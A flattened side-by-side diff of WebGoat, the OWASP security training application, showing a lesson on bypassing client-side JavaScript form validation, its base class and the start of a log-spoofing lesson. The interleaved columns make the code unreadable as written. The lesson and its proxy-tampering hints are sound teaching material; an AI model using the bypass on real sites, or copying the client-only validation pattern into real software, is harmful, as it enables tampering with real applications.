* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class JavaScriptValidation extends LessonAdapter public class JavaScriptValidation extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
protected Element createContent(WebSession s) */
{ protected Element createContent(WebSession s)
ElementContainer ec = new ElementContainer();
// Regular expressions in Java and JavaScript compatible form
// Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax
// you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one for JavaScript
String regex1 = "^[a-z]{3}$";// any three lowercase letters
String regex2 = "^[0-9]{3}$";// any three digits
String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation
String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of numbers
String regex5 = "^\\d{5}$";// simple zip code
String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";//US phone number with or without dashes
Pattern pattern1 = Pattern.compile(regex1);
Pattern pattern2 = Pattern.compile(regex2);
Pattern pattern3 = Pattern.compile(regex3);
Pattern pattern4 = Pattern.compile(regex4);
Pattern pattern5 = Pattern.compile(regex5);
Pattern pattern6 = Pattern.compile(regex6);
Pattern pattern7 = Pattern.compile(regex7);
String lineSep = System.getProperty("line.separator");
String script = "<SCRIPT>"
+ lineSep
+ "regex1=/"
+ regex1
+ "/;"
+ lineSep
+ "regex2=/"
+ regex2
+ "/;"
+ lineSep
+ "regex3=/"
+ regex3
+ "/;"
+ lineSep
+ "regex4=/"
+ regex4
+ "/;"
+ lineSep
+ "regex5=/"
+ regex5
+ "/;"
+ lineSep
+ "regex6=/"
+ regex6
+ "/;"
+ lineSep
+ "regex7=/"
+ regex7
+ "/;"
+ lineSep
+ "function validate() { "
+ lineSep
+ "msg='JavaScript found form errors'; err=0; "
+ lineSep
+ "if (!regex1.test(document.form.field1.value)) {err+=1; msg+='\\n bad field1';}"
+ lineSep
+ "if (!regex2.test(document.form.field2.value)) {err+=1; msg+='\\n bad field2';}"
+ lineSep
+ "if (!regex3.test(document.form.field3.value)) {err+=1; msg+='\\n bad field3';}"
+ lineSep
+ "if (!regex4.test(document.form.field4.value)) {err+=1; msg+='\\n bad field4';}"
+ lineSep
+ "if (!regex5.test(document.form.field5.value)) {err+=1; msg+='\\n bad field5';}"
+ lineSep
+ "if (!regex6.test(document.form.field6.value)) {err+=1; msg+='\\n bad field6';}"
+ lineSep
+ "if (!regex7.test(document.form.field7.value)) {err+=1; msg+='\\n bad field7';}"
+ lineSep + "if ( err > 0 ) alert(msg);" + lineSep
+ "else document.form.submit();" + lineSep + "} " + lineSep
+ "</SCRIPT>" + lineSep;
try
{ {
String param1 = s.getParser().getRawParameter("field1", "abc");
String param2 = s.getParser().getRawParameter("field2", "123");
String param3 = s.getParser().getRawParameter("field3",
"abc 123 ABC");
String param4 = s.getParser().getRawParameter("field4", "seven");
String param5 = s.getParser().getRawParameter("field5", "90210");
String param6 = s.getParser().getRawParameter("field6",
"90210-1111");
String param7 = s.getParser().getRawParameter("field7",
"301-604-4882");
ec.addElement(new StringElement(script));
TextArea input1 = new TextArea("field1", 1, 25).addElement(param1);
TextArea input2 = new TextArea("field2", 1, 25).addElement(param2);
TextArea input3 = new TextArea("field3", 1, 25).addElement(param3);
TextArea input4 = new TextArea("field4", 1, 25).addElement(param4);
TextArea input5 = new TextArea("field5", 1, 25).addElement(param5);
TextArea input6 = new TextArea("field6", 1, 25).addElement(param6);
TextArea input7 = new TextArea("field7", 1, 25).addElement(param7);
Input b = new Input(); ElementContainer ec = new ElementContainer();
b.setType(Input.BUTTON);
b.setValue("Submit");
b.addAttribute("onclick", "validate();");
ec.addElement(new Div().addElement(new StringElement(
"Field1: exactly three lowercase characters (" + regex1
+ ")")));
ec.addElement(new Div().addElement(input1));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field2: exactly three digits (" + regex2 + ")")));
ec.addElement(new Div().addElement(input2));
ec.addElement(new P());
ec.addElement(new Div()
.addElement(new StringElement(
"Field3: letters, numbers, and space only ("
+ regex3 + ")")));
ec.addElement(new Div().addElement(input3));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field4: enumeration of numbers (" + regex4 + ")")));
ec.addElement(new Div().addElement(input4));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field5: simple zip code (" + regex5 + ")")));
ec.addElement(new Div().addElement(input5));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field6: zip with optional dash four (" + regex6 + ")")));
ec.addElement(new Div().addElement(input6));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field7: US phone number with or without dashes (" + regex7
+ ")")));
ec.addElement(new Div().addElement(input7));
ec.addElement(new P());
ec.addElement(b);
// Check the patterns on the server -- and note the errors in the response // Regular expressions in Java and JavaScript compatible form
// these should never match unless the client side pattern script doesn't work
int err = 0; // Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax
String msg = "";
if (!pattern1.matcher(param1).matches()) // you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one
{ // for JavaScript
err++;
msg += "<BR>Server side validation violation: You succeeded for Field1.";
}
if (!pattern2.matcher(param2).matches()) String regex1 = "^[a-z]{3}$";// any three lowercase letters
{ String regex2 = "^[0-9]{3}$";// any three digits
err++; String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation
msg += "<BR>Server side validation violation: You succeeded for Field2."; String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of
} // numbers
String regex5 = "^\\d{5}$";// simple zip code
String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes
Pattern pattern1 = Pattern.compile(regex1);
Pattern pattern2 = Pattern.compile(regex2);
Pattern pattern3 = Pattern.compile(regex3);
Pattern pattern4 = Pattern.compile(regex4);
Pattern pattern5 = Pattern.compile(regex5);
Pattern pattern6 = Pattern.compile(regex6);
Pattern pattern7 = Pattern.compile(regex7);
String lineSep = System.getProperty("line.separator");
String script = "<SCRIPT>" + lineSep + "regex1=/" + regex1 + "/;" + lineSep + "regex2=/" + regex2 + "/;"
+ lineSep + "regex3=/" + regex3 + "/;" + lineSep + "regex4=/" + regex4 + "/;" + lineSep + "regex5=/"
+ regex5 + "/;" + lineSep + "regex6=/" + regex6 + "/;" + lineSep + "regex7=/" + regex7 + "/;" + lineSep
+ "function validate() { " + lineSep + "msg='JavaScript found form errors'; err=0; " + lineSep
+ "if (!regex1.test(document.form.field1.value)) {err+=1; msg+='\\n bad field1';}" + lineSep
+ "if (!regex2.test(document.form.field2.value)) {err+=1; msg+='\\n bad field2';}" + lineSep
+ "if (!regex3.test(document.form.field3.value)) {err+=1; msg+='\\n bad field3';}" + lineSep
+ "if (!regex4.test(document.form.field4.value)) {err+=1; msg+='\\n bad field4';}" + lineSep
+ "if (!regex5.test(document.form.field5.value)) {err+=1; msg+='\\n bad field5';}" + lineSep
+ "if (!regex6.test(document.form.field6.value)) {err+=1; msg+='\\n bad field6';}" + lineSep
+ "if (!regex7.test(document.form.field7.value)) {err+=1; msg+='\\n bad field7';}" + lineSep
+ "if ( err > 0 ) alert(msg);" + lineSep + "else document.form.submit();" + lineSep + "} " + lineSep
+ "</SCRIPT>" + lineSep;
try
{
String param1 = s.getParser().getRawParameter("field1", "abc");
String param2 = s.getParser().getRawParameter("field2", "123");
String param3 = s.getParser().getRawParameter("field3", "abc 123 ABC");
String param4 = s.getParser().getRawParameter("field4", "seven");
String param5 = s.getParser().getRawParameter("field5", "90210");
String param6 = s.getParser().getRawParameter("field6", "90210-1111");
String param7 = s.getParser().getRawParameter("field7", "301-604-4882");
ec.addElement(new StringElement(script));
TextArea input1 = new TextArea("field1", 1, 25).addElement(param1);
TextArea input2 = new TextArea("field2", 1, 25).addElement(param2);
TextArea input3 = new TextArea("field3", 1, 25).addElement(param3);
TextArea input4 = new TextArea("field4", 1, 25).addElement(param4);
TextArea input5 = new TextArea("field5", 1, 25).addElement(param5);
TextArea input6 = new TextArea("field6", 1, 25).addElement(param6);
TextArea input7 = new TextArea("field7", 1, 25).addElement(param7);
if (!pattern3.matcher(param3).matches()) Input b = new Input();
{ b.setType(Input.BUTTON);
err++; b.setValue("Submit");
msg += "<BR>Server side validation violation: You succeeded for Field3."; b.addAttribute("onclick", "validate();");
} ec.addElement(new Div().addElement(new StringElement("Field1: exactly three lowercase characters ("
+ regex1 + ")")));
ec.addElement(new Div().addElement(input1));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement("Field2: exactly three digits (" + regex2 + ")")));
ec.addElement(new Div().addElement(input2));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement("Field3: letters, numbers, and space only (" + regex3
+ ")")));
ec.addElement(new Div().addElement(input3));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement("Field4: enumeration of numbers (" + regex4 + ")")));
ec.addElement(new Div().addElement(input4));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement("Field5: simple zip code (" + regex5 + ")")));
ec.addElement(new Div().addElement(input5));
ec.addElement(new P());
ec.addElement(new Div()
.addElement(new StringElement("Field6: zip with optional dash four (" + regex6 + ")")));
ec.addElement(new Div().addElement(input6));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement("Field7: US phone number with or without dashes ("
+ regex7 + ")")));
ec.addElement(new Div().addElement(input7));
ec.addElement(new P());
ec.addElement(b);
if (!pattern4.matcher(param4).matches()) // Check the patterns on the server -- and note the errors in the response
{ // these should never match unless the client side pattern script doesn't work
err++;
msg += "<BR>Server side validation violation: You succeeded for Field4.";
}
if (!pattern5.matcher(param5).matches()) int err = 0;
{ String msg = "";
err++;
msg += "<BR>Server side validation violation: You succeeded for Field5.";
}
if (!pattern6.matcher(param6).matches()) if (!pattern1.matcher(param1).matches())
{ {
err++; err++;
msg += "<BR>Server side validation violation: You succeeded for Field6."; msg += "<BR>Server side validation violation: You succeeded for Field1.";
} }
if (!pattern7.matcher(param7).matches()) if (!pattern2.matcher(param2).matches())
{ {
err++; err++;
msg += "<BR>Server side validation violation: You succeeded for Field7."; msg += "<BR>Server side validation violation: You succeeded for Field2.";
} }
if (err > 0) if (!pattern3.matcher(param3).matches())
{ {
s.setMessage(msg); err++;
} msg += "<BR>Server side validation violation: You succeeded for Field3.";
if (err >= 7) }
{
// This means they defeated all the client side checks if (!pattern4.matcher(param4).matches())
makeSuccess(s); {
} err++;
msg += "<BR>Server side validation violation: You succeeded for Field4.";
}
if (!pattern5.matcher(param5).matches())
{
err++;
msg += "<BR>Server side validation violation: You succeeded for Field5.";
}
if (!pattern6.matcher(param6).matches())
{
err++;
msg += "<BR>Server side validation violation: You succeeded for Field6.";
}
if (!pattern7.matcher(param7).matches())
{
err++;
msg += "<BR>Server side validation violation: You succeeded for Field7.";
}
if (err > 0)
{
s.setMessage(msg);
}
if (err >= 7)
{
// This means they defeated all the client side checks
makeSuccess(s);
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
} }
catch (Exception e) /**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{ {
s.setMessage("Error generating " + this.getClass().getName()); return Category.UNVALIDATED_PARAMETERS;
e.printStackTrace();
} }
return (ec); /**
} * Gets the hints attribute of the AccessControlScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The validation is happening in your browser.");
hints.add("Try modifying the values with a proxy after they leave your browser");
hints.add("Another way is to delete the JavaScript before you view the page.");
/** return hints;
* DOCUMENT ME! }
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{
return Category.UNVALIDATED_PARAMETERS;
}
/**
* Gets the instructions attribute of the WeakAccessControl object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "This website performs both client and server side validation. "
+ "For this exercise, your job is to break the client side validation and send the "
+ " website input that it wasn't expecting."
+ "<b> You must break all 7 validators at the same time. </b>";
return (instructions);
}
/** private final static Integer DEFAULT_RANKING = new Integer(120);
* Gets the hints attribute of the AccessControlScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The validation is happening in your browser."); protected Integer getDefaultRanking()
hints {
.add("Try modifying the values with a proxy after they leave your browser"); return DEFAULT_RANKING;
hints }
.add("Another way is to delete the JavaScript before you view the page.");
return hints; /**
} * Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Bypass Client Side JavaScript Validation");
}
public Element getCredits()
/** {
* Gets the instructions attribute of the WeakAccessControl object return super.getCustomCredits("", ASPECT_LOGO);
* }
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "This website performs both client and server side validation. "
+ "For this exercise, your job is to break the client side validation and send the "
+ " website input that it wasn't expecting."
+ "<b> You must break all 7 validators at the same time. </b>";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Bypass Client Side JavaScript Validation");
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
} }

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.BufferedReader; import java.io.BufferedReader;
import java.io.FileReader; import java.io.FileReader;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -18,274 +18,254 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public abstract class LessonAdapter extends AbstractLesson public abstract class LessonAdapter extends AbstractLesson
{ {
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
// Mark this lesson as completed.
makeSuccess(s);
/** ElementContainer ec = new ElementContainer();
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
// Mark this lesson as completed.
makeSuccess(s);
ElementContainer ec = new ElementContainer(); ec.addElement(new Center().addElement(new H3().addElement(new StringElement(
ec
.addElement(new Center().addElement(new H3()
.addElement(new StringElement(
"Detailed Lesson Creation Instructions.")))); "Detailed Lesson Creation Instructions."))));
ec.addElement(new P()); ec.addElement(new P());
ec ec
.addElement(new StringElement( .addElement(new StringElement(
"Lesson are simple to create and very little coding is required. &nbsp;&nbsp;" "Lesson are simple to create and very little coding is required. &nbsp;&nbsp;"
+ "In fact, most lessons can be created by following the easy to use instructions in the " + "In fact, most lessons can be created by following the easy to use instructions in the "
+ "<A HREF=http://www.owasp.org/index.php/WebGoat_User_and_Install_Guide_Table_of_Contents>WebGoat User Guide.</A>&nbsp;&nbsp;" + "<A HREF=http://www.owasp.org/index.php/WebGoat_User_and_Install_Guide_Table_of_Contents>WebGoat User Guide.</A>&nbsp;&nbsp;"
+ "If you would prefer, send your lesson ideas to " + "If you would prefer, send your lesson ideas to "
+ getWebgoatContext().getFeedbackAddress())); + getWebgoatContext().getFeedbackAddress()));
String fileName = s.getContext().getRealPath( String fileName = s.getContext().getRealPath("doc/New Lesson Instructions.txt");
"doc/New Lesson Instructions.txt"); if (fileName != null)
if (fileName != null)
{
try
{
PRE pre = new PRE();
BufferedReader in = new BufferedReader(new FileReader(fileName));
String line = null;
while ((line = in.readLine()) != null)
{ {
pre.addElement(line + "\n"); try
{
PRE pre = new PRE();
BufferedReader in = new BufferedReader(new FileReader(fileName));
String line = null;
while ((line = in.readLine()) != null)
{
pre.addElement(line + "\n");
}
ec.addElement(pre);
} catch (Exception e)
{
e.printStackTrace();
}
} }
ec.addElement(pre); return (ec);
}
catch (Exception e)
{
e.printStackTrace();
}
} }
return (ec);
}
/**
/** * Gets the category attribute of the LessonAdapter object. The default category is "General"
* Gets the category attribute of the LessonAdapter object. The default category is "General" Only * Only override this method if you wish to create a new category or if you wish this lesson to
* override this method if you wish to create a new category or if you wish this lesson to reside * reside within a category other the "General"
* within a category other the "General" *
* * @return The category value
* @return The category value */
*/ protected Category getDefaultCategory()
protected Category getDefaultCategory()
{
return Category.GENERAL;
}
protected boolean getDefaultHidden()
{
return false;
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the hintCount attribute of the LessonAdapter object
*
* @return The hintCount value
*/
public int getHintCount(WebSession s)
{
return getHints(s).size();
}
/**
* Fill in a minor hint that will help people who basically get it, but are stuck on somthing
* silly. Hints will be returned to the user in the order they appear below. The user must click
* on the "next hint" button before the hint will be displayed.
*
* @return The hint1 value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("There are no hints defined.");
return hints;
}
public String getHint(WebSession s, int hintNumber)
{
return (String) getHints(s).get(hintNumber);
}
/**
* Gets the credits attribute of the AbstractLesson object
*
* @return The credits value
*/
public Element getCredits()
{
return new StringElement();
}
/**
* Gets the instructions attribute of the LessonAdapter object. Instructions will rendered as html
* and will appear below the control area and above the actual lesson area. Instructions should
* provide the user with the general setup and goal of the lesson.
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
StringBuffer buff = new StringBuffer();
try
{ {
String fileName = s.getWebResource(getLessonPlanFileName()); return Category.GENERAL;
if (fileName != null)
{
BufferedReader in = new BufferedReader(new FileReader(fileName));
String line = null;
boolean startAppending = false;
while ((line = in.readLine()) != null)
{
if (line.indexOf("<!-- Start Instructions -->") != -1)
{
startAppending = true;
continue;
}
if (line.indexOf("<!-- Stop Instructions -->") != -1)
{
startAppending = false;
continue;
}
if (startAppending)
{
buff.append(line + "\n");
}
}
}
} }
catch (Exception e)
{}
return buff.toString(); protected boolean getDefaultHidden()
{
return false;
}
} private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/** /**
* Fill in a descriptive title for this lesson. The title of the lesson. This will appear above * Gets the hintCount attribute of the LessonAdapter object
* the control area at the top of the page. This field will be rendered as html. *
* * @return The hintCount value
* @return The title value */
*/ public int getHintCount(WebSession s)
public String getTitle() {
{ return getHints(s).size();
return "Untitled Lesson " + getScreenId(); }
}
/**
* Fill in a minor hint that will help people who basically get it, but are stuck on somthing
* silly. Hints will be returned to the user in the order they appear below. The user must click
* on the "next hint" button before the hint will be displayed.
*
* @return The hint1 value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("There are no hints defined.");
public String getCurrentAction(WebSession s) return hints;
{ }
return s.getLessonSession(this).getCurrentLessonScreen();
}
public String getHint(WebSession s, int hintNumber)
{
return (String) getHints(s).get(hintNumber);
}
public void setCurrentAction(WebSession s, String lessonScreen) /**
{ * Gets the credits attribute of the AbstractLesson object
s.getLessonSession(this).setCurrentLessonScreen(lessonScreen); *
} * @return The credits value
*/
public Element getCredits()
{
return new StringElement();
}
/**
* Gets the instructions attribute of the LessonAdapter object. Instructions will rendered as
* html and will appear below the control area and above the actual lesson area. Instructions
* should provide the user with the general setup and goal of the lesson.
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
StringBuffer buff = new StringBuffer();
try
{
String fileName = s.getWebResource(getLessonPlanFileName());
if (fileName != null)
{
BufferedReader in = new BufferedReader(new FileReader(fileName));
String line = null;
boolean startAppending = false;
while ((line = in.readLine()) != null)
{
if (line.indexOf("<!-- Start Instructions -->") != -1)
{
startAppending = true;
continue;
}
if (line.indexOf("<!-- Stop Instructions -->") != -1)
{
startAppending = false;
continue;
}
if (startAppending)
{
buff.append(line + "\n");
}
}
}
} catch (Exception e)
{
}
public Object getSessionAttribute(WebSession s, String key) return buff.toString();
{
return s.getRequest().getSession().getAttribute(key);
}
}
public void setSessionAttribute(WebSession s, String key, Object value) /**
{ * Fill in a descriptive title for this lesson. The title of the lesson. This will appear above
s.getRequest().getSession().setAttribute(key, value); * the control area at the top of the page. This field will be rendered as html.
} *
* @return The title value
*/
public String getTitle()
{
return "Untitled Lesson " + getScreenId();
}
public String getCurrentAction(WebSession s)
{
return s.getLessonSession(this).getCurrentLessonScreen();
}
/** public void setCurrentAction(WebSession s, String lessonScreen)
* Description of the Method {
* s.getLessonSession(this).setCurrentLessonScreen(lessonScreen);
* @param s Description of the Parameter }
* @return Description of the Return Value
*/
protected Element makeSuccess(WebSession s)
{
getLessonTracker(s).setCompleted(true);
s public Object getSessionAttribute(WebSession s, String key)
.setMessage("Congratulations. You have successfully completed this lesson."); {
return s.getRequest().getSession().getAttribute(key);
}
return (null); public void setSessionAttribute(WebSession s, String key, Object value)
} {
s.getRequest().getSession().setAttribute(key, value);
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeSuccess(WebSession s)
{
getLessonTracker(s).setCompleted(true);
/** s.setMessage("Congratulations. You have successfully completed this lesson.");
* Gets the credits attribute of the AbstractLesson object
* return (null);
* @return The credits value }
*/
protected Element getCustomCredits(String text, Element e) /**
{ * Gets the credits attribute of the AbstractLesson object
*
* @return The credits value
*/
protected Element getCustomCredits(String text, Element e)
{
Table t = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("RIGHT"); Table t = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("RIGHT");
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD(text).setVAlign("MIDDLE").setAlign("RIGHT").setWidth("100%")); tr.addElement(new TD(text).setVAlign("MIDDLE").setAlign("RIGHT").setWidth("100%"));
tr.addElement(new TD(e).setVAlign("MIDDLE").setAlign("RIGHT")); tr.addElement(new TD(e).setVAlign("MIDDLE").setAlign("RIGHT"));
t.addElement(tr); t.addElement(tr);
return t; return t;
} }
} }

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.UnsupportedEncodingException; import java.io.UnsupportedEncodingException;
import java.net.URLDecoder; import java.net.URLDecoder;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor; import org.apache.ecs.HtmlColor;
@ -18,157 +18,145 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies</a> * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies</a>
* @created October 28, 2006 * @created October 28, 2006
*/ */
public class LogSpoofing extends LessonAdapter public class LogSpoofing extends LessonAdapter
{ {
private static final String USERNAME = "username"; private static final String USERNAME = "username";
private static final String PASSWORD = "password"; private static final String PASSWORD = "password";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
ElementContainer ec = null;
String inputUsername = null;
try
{ {
Table t = new Table(0).setCellSpacing(0).setCellPadding(0) ElementContainer ec = null;
.setBorder(0); String inputUsername = null;
TR row1 = new TR(); try
TR row2 = new TR(); {
TR row3 = new TR();
row1.addElement(new TD(new StringElement("Username: "))); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
Input username = new Input(Input.TEXT, USERNAME, ""); TR row1 = new TR();
row1.addElement(new TD(username)); TR row2 = new TR();
TR row3 = new TR();
row2.addElement(new TD(new StringElement("Password: "))); row1.addElement(new TD(new StringElement("Username: ")));
Input password = new Input(Input.PASSWORD, PASSWORD, ""); Input username = new Input(Input.TEXT, USERNAME, "");
row2.addElement(new TD(password)); row1.addElement(new TD(username));
